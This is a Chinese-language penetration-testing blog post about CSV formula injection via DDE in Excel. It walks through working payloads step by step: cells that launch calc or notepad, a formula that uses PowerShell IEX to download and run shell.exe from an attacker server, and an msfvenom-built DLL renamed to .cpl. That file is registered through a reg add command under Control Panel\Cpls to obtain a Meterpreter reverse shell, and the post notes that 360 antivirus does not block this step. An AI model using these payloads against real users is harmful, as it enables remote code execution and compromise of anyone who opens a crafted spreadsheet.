關于csv文件在滲透中的妙用
何為csv
逗號分隔值(Comma-Separated Values,CSV,有時也稱為字符分隔值,因為分隔字符也可以不是逗號),其文件以純文本形式存儲表格數據(數字和文本)。純文本意味著該文件是一個字符序列,不含必須像二進制數字那樣被解讀的數據。CSV文件由任意數目的記錄組成,記錄間以某種換行符分隔;每條記錄由字段組成,字段間的分隔符是其它字符或字符串,最常見的是逗號或制表符。通常,所有記錄都有完全相同的字段序列。通常都是純文本文件。建議使用WORDPAD或是記事本來開啟,再則先另存新檔后用EXCEL開啟,也是方法之一。
csv漏洞
csv漏洞即攻擊者通過在CSV文件中構造惡意的命令或函數,使得正常用戶在使用Excel打開這個CSV文件后惡意的命令或函數被執行,從而造成攻擊行為。
首先產生漏洞的第一個原因就是特殊符號
這里首先嘗試在excel里面輸入=1+2,回車過后發現csv自動幫我們運算出了結果

這里是因為在csv文件中+、-、@、=都會解釋成公式,自動幫我們得出運算結果
第二個原因就是DDE,DDE是Windows下進程間通信協議,是一種動態數據交換機制,使用DDE通訊需要兩個Windows應用程序,其中一個作為服務器處理信息,另外一個作為客戶機從服務器獲得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用這種機制,根據外部應用的處理結果來更新內容。因此,如果我們制作包含DDE公式的CSV文件,那么在打開該文件時,Excel就會嘗試執行外部應用。
這里首先嘗試在A1單元格里面調用cmd,填入命令=1+cmd|'/C calc'!A0并保存

然后重新打開會彈出一個框,這里為了漏洞復現,我們選擇是

繼續點擊更新

現在的csv好像已經默認禁用了DDE,這里我們點確定

點擊啟用內容

cmd就會調用calc

csv注入
那么我們知道了csv產生的原因,這里我們就可以調用cmd執行我們的惡意代碼,通過在excel表里面進行操作調用其他進程,例子如下
@SUM(1+1)*cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
cmd后面跟的是命令,直接替換要執行的命令即可,如這里我要打開桌面的demo.txt
=SUM(1+1)*notepad|' C:\Users\61408\Desktop\demo.txt'!A0
保存并退出信任之后即可彈出


csv反彈meterpreter
kali生成一個簡單的彈calc的dll,并將dll后綴名改為cpl
msfvenom -p windows/exec CMD=calc.exe -f dll > hook.dll mv hook.dll hook.cpl

然后在win7里面設置一個共享文件夾把hook.cpl放入

執行命令添加到注冊表,這里360是不攔截的
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" /t REG_SZ /d "\\Win7-2021EDCAZU\test\hook.cpl"

打開控制面板即可打開計算器

使用Procmon跟蹤進程發現控制面板會尋找這個注冊表路徑并加載里面的cpl


這里插一句何為cpl文件
CPL文件,又叫控制面板項(Control Panel Item),多保存于系統安裝目錄的system32文件夾下,它們分別對應著控制面板中的項目,普通用戶的訪問受到限制。它可由shell32.dll、control.exe打開。此外,你也可以直接在資源管理器中雙擊調用Open命令打開(實質上調用了shell32.dll)。
CPL文件本質是Windows可執行性文件,但不屬于可以直接獨立運行的文件,通常由shell32.dll打開。
system32目錄里絕大多數cpl文件是Windows系統文件,具有“存檔”文件屬性,Windows操作系統的文件保護功能保護它們不被篡改。
實驗結束,回到上一層話題,使用xls執行cmd命令添加這個注冊表路徑并執行控制面板獲取meterpreter
流程大概是這樣的:

這里再生成一個反彈的dll并改名為cpl(這里生成之后就直接放過去了,忘記改名了,是說一直實驗不成功)

放到共享文件夾里面

msf開啟監聽

這里實驗的時候發現一個問題,因為我是win7開的共享準備在2008里面添加cpl,但是我2008里面安裝不了office,于是我就換了一下,但是我發現不同的系統cpl文件的路徑不同,有的甚至沒有這個文件夾
2008是正常的

然后我換到win7里面發現根本就沒有這個文件夾

win10也是如此

再找了臺域內的win7直接連Controls Folder這個文件夾都沒有,好家伙

這里我直接執行命令的話是不成功的,這里我就手動添加了Control Panel\Cpls這個路徑
=cmd|' /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" /t REG_SZ /d "\\WIN-339FINFSV15\testcpl\hook.cpl"'!_xlbgnm.A1

然后打開控制面板

即可得到反彈的shell

后記
關于Control Panel\Cpls這個路徑在不同系統中不同情況的問題,我百度并沒有找到能夠揭開我疑惑的答案,如果有知道為什么的師傅還請不吝賜教。